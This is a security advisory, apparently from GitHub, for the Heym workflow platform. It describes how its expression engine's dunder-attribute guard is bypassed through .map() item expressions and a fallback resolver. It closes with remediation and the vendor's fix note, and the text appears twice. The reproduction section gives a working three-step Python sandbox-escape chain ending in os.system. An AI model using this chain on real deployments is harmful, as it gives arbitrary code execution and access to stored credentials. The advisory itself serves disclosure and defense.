Summary
The expression engine's simpleeval hardening from GHSA-pm6h-x3h5-j38h covers the condition/substitution paths, but two sibling paths never pass through that guard and walk dunder attributes with raw getattr:
DotList item expressions used by .map() / .filter() / distinctBy() (backend/app/services/workflow_executor.py, _evaluate_item_expr ~L898-915 and the _ITEM_DOT_PATH_RE fast path in _evaluate_item_expression ~L950-980). The regex ^item(?:\.[a-zA-Z_][a-zA-Z0-9_]*)+$ matches item.__class__.__base__.__subclasses__, and each segment is resolved with hasattr/getattr with no dunder block.
- The
_resolve_simple_expression fallback (~L6325-6450) that runs whenever HeymExpressionEval.eval raises (which is exactly what simpleeval does on dunder access). It resolves method calls and properties with raw getattr and calls callables, and _read_property_with_subscripts (~L6853) resolves further dunder properties and subscripts.
Together these restore the full __subclasses__ -> __globals__ -> os.system gadget that GHSA-pm6h was meant to close.
Impact
Any authenticated user who can edit and run a workflow (set node, output expression, JSON mapper, variable nodes, or the /api/expressions/evaluate endpoint) executes arbitrary Python as the backend process: database contents, stored credentials (Fernet key is in process env), and any reachable internal network.
Reproduction (verified at a7919b1)
Against the real WorkflowExecutor (constructed with nodes=[], edges=[]), three expressions equivalent to three set-node values in one run:
1. $arr.map("item.__class__.__base__.__subclasses__")[0] with arr = ["x"]
-> returns the bound method object (type builtin_function_or_method)
2. $m() with m = result of 1
-> list of all loaded classes (31 in a stock backend process)
3. $classes[16].__init__.__globals__["os"].system("touch /tmp/heym_pwned")
-> returns 0; file created. Index varies by environment; any class whose
__init__.__globals__ contains "os" works (configparser._Line did here).
Step 3 is rejected by simpleeval (dunder attribute) and then silently evaluated by the _resolve_simple_expression fallback, which is the crux: the fallback turns the sandbox's rejection into a different, unguarded evaluator.
Suggested remediation
- Reject any path/method segment starting with
_ in _evaluate_item_expr, the _ITEM_DOT_PATH_RE fast path, _resolve_simple_expression, and _read_property_with_subscripts.
- Make the fallback fail-closed for anything that is not a plain name/index lookup: when
HeymExpressionEval.eval raises on a dunder or call it rejected, return None instead of re-evaluating with raw getattr.
- Route
.map() / .filter() item expressions through the same simpleeval sandbox as conditions instead of the raw-getattr fast path.
- Add regression tests mirroring the three expressions above.
Happy to collaborate on the patch in this advisory's private fork.
Heym Team Notes
From the Heym team: this is fixed. The reported chain and every variant we
could build from it are blocked, the guarded resolvers are covered by
regression tests across the executor, the evaluator service and the API, and
we added a callable allowlist on top so the preview can no longer invoke
inherited builtins. Thanks to @SashaMIT for a clear report, a working proof of
concept, and a patch that landed with tests already attached.
Summary
The expression engine's simpleeval hardening from GHSA-pm6h-x3h5-j38h covers the condition/substitution paths, but two sibling paths never pass through that guard and walk dunder attributes with raw
getattr:DotListitem expressions used by.map()/.filter()/distinctBy()(backend/app/services/workflow_executor.py,_evaluate_item_expr~L898-915 and the_ITEM_DOT_PATH_REfast path in_evaluate_item_expression~L950-980). The regex^item(?:\.[a-zA-Z_][a-zA-Z0-9_]*)+$matchesitem.__class__.__base__.__subclasses__, and each segment is resolved withhasattr/getattrwith no dunder block._resolve_simple_expressionfallback (~L6325-6450) that runs wheneverHeymExpressionEval.evalraises (which is exactly what simpleeval does on dunder access). It resolves method calls and properties with rawgetattrand calls callables, and_read_property_with_subscripts(~L6853) resolves further dunder properties and subscripts.Together these restore the full
__subclasses__->__globals__->os.systemgadget that GHSA-pm6h was meant to close.Impact
Any authenticated user who can edit and run a workflow (set node, output expression, JSON mapper, variable nodes, or the
/api/expressions/evaluateendpoint) executes arbitrary Python as the backend process: database contents, stored credentials (Fernet key is in process env), and any reachable internal network.Reproduction (verified at a7919b1)
Against the real
WorkflowExecutor(constructed withnodes=[], edges=[]), three expressions equivalent to three set-node values in one run:Step 3 is rejected by simpleeval (dunder attribute) and then silently evaluated by the
_resolve_simple_expressionfallback, which is the crux: the fallback turns the sandbox's rejection into a different, unguarded evaluator.Suggested remediation
_in_evaluate_item_expr, the_ITEM_DOT_PATH_REfast path,_resolve_simple_expression, and_read_property_with_subscripts.HeymExpressionEval.evalraises on a dunder or call it rejected, returnNoneinstead of re-evaluating with rawgetattr..map()/.filter()item expressions through the same simpleeval sandbox as conditions instead of the raw-getattrfast path.Happy to collaborate on the patch in this advisory's private fork.
Heym Team Notes
From the Heym team: this is fixed. The reported chain and every variant we
could build from it are blocked, the guarded resolvers are covered by
regression tests across the executor, the evaluator service and the API, and
we added a callable allowlist on top so the preview can no longer invoke
inherited builtins. Thanks to @SashaMIT for a clear report, a working proof of
concept, and a patch that landed with tests already attached.